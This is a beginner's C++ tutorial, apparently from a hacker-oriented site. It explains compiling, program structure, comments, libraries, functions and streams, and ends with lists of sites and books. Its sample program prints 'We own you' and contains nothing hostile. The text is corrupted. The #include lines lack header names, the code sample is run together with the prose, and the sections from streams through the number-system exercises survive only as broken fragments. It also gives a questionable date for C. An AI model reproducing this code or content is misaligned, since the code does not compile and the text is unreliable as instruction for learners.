• 2.7. Return

3. Number Systems
• 3.1. Decimals
• 3.2. Binaries
• 3.3. Hexadecimals

4. Exercises
• 4.1. EX 1 : Running
• 4.2. EX 2 : Typing
• 4.3. EX 3 : Converting

5. What now?
• 5.1. Good programming sites
• 5.2. Good books on C++


1.INTRODUCTION

1.1. Why do People Program?

Each person can have his own reason for programming but I can tell you that programming is one of the best ways to gain a deep understanding of computers and computer technology. Learning to program makes you understand why computers and computer programs work the way they do. It also puts some sense into you about how hard it is to create software.

1.2. What is C++ & OOP?

C++ is an extended version C. C was developed at Bell Labs, in 1978. The purpose was to create a simple language (simpler than assembly & machine code...) which can be used on a variety of platforms. Later in the early 1980's C was extended to C++ to create an object-oriented language. O(bject) O(riented) P(rogramming) is a style of programming in which programs are made using Classes. A class id code in a file separate from the main program - more on classes later. OOP in general & C++ in particular made it possible to handle the complexity of graphical environments. (like windows, macintosh..)

1.3. What do I need to program?

Well, you need a computer and a compiler to start with but you also need some curiosity and a lot of time. I guess(!?) you have a computer. You can find different compilers for free from borlands website (Check 5.1). If you have the curiosity but lack in time read stuff at lessons and detention hours. Read whenever you find time. Having a good C++ book (check 5.2) also helps a lot. (and is much better for your eyes) One thing not to forget: No tutorial, book, program or course makes you a programmer in 5 days. YOU make yourself a programmer. NO compiler writes an entire program for you, YOU write the program.

2. YOUR FIRST PROGRAM

2.1. Running a C++ Program

Read this part carefully: A C++ program must be compiled and linked before it can be executed, or run, on the computer. A great lot of compilers do this automatically. So what is a compiler? A compiler is a program that translates C++ code into machine language. Machine language is the language consisting of 1s and 0s, and is the native language of a computer. A typed C++ program is called the source-code, and the compiled code is called the object code.

Before the object code can be executed, it must be linked to other pieces of code (e.g. included libraries) used by the program. The compiled & linked program is called an executable file. Finally, the program is executed by the system. It's output is displayed in a window.

2.2. C++ Program Structure

All C++ progs contain statements (commands) that tell the computer what to do. Here is an example of a simple C++ program:
/* Downloaded from code.box.sk
We own you program */

#include

int main()
{
cout<<"We own you"; // the first statement return(0); // the second statement } Run the program. It should display : We own you The structure of a simple C++ program is: /* Comments : Name, purpose of the program your name, date, etc. */ #include

int main()
{
statements; // comments
return(0);
}

Now we will have a closer look on the structure:

2.3. Comments
Comments are used to explain the contents of a program for a human reader. The computer ignores them. The symbols /* and */ are used for the beginning and end of a comment for multi-line comments. // symbols are also used for commenting. All characters on a line after the // symbol are considered to be comments and are ignored. Most newbies think that commenting a program is a waste of time. They are wrong. Commenting is very important because it makes the code understandable by other programmers and makes it easier to improve a program or fix the bugs in it. You'll understand better after trying to decipher a hundred pages of code you wrote a few months later.

2.4. Libraries

Look at the program above. Following the opening comment was the line:

#include

This line simply tells the computer that the iostream library is needed therefore it should be included. A library is a collection of program code that can be included (and used) in a program to perform a variety of tasks. iostream is a library - also called as a header file, look at its extension - used to perform input/output (I/O) stream tasks. There are a lot of non-commercial C++ libraries for various purposes written by good guys who spent more than enough time in front of their computers. You can find them at code.box.sk. Also references to all libraries used in the tutorials can be found on the net.

2.5. Functions

The next line in the program was:

int main()

Which is the header of the main function. Makes sense? No? A function is a set of statements that accomplish a task. A function header includes the return type of the function and the function name. As shown in the main() header, main returns an integer(int) through return(0). So all the functions that have an integer as the return type returns integers. Very clear. The statements in a function (in this case the main function) are enclosed in curly braces. The { and } symbols indicates the beginning and the end of statements. More on functions later.

2.6. Streams

What is a stream? In C++ input/output devices are called streams. cout (we used above) is the c(onsole) out(put) stream, and the send (insertion) operator is used to send the data "We own you" into the stream. In the first statement:

cout<<"We own you"; The words following the << 0 =" 1." 2600 =" 2" 33 =" 3" 110 =" 1" 1b =" 1"> Very good content. Has message boards.
http://www.borland.com --> Free, shareware & commercial compilers.
http://www.cprogramming.com --> Some original tuts.
http://www.planet-source-code.com --> One of the biggest code archive.

5.2. Good books on C++
Printed:
C++ - How to Program One of the best books written on C. Great for all levels of programming.
C++: The complete reference An overall C++ & STL reference
A Guide to Programming in C++, Lawrenceville Press My first book on C++, "borrowed" lots of definitions from there :)

Online books:
Thinking in C++ is nearly the best one on C++, a must-read. You can find many online netbooks from code.box.sk

Thanks to:

-->Cube, to provide such valuable information in the boxnetwork sites.
-->all guys at Neworder's Message board, for asking tutorials.

Ke Bea(!?) to:
-->all friends in the Koch Part-time Prison.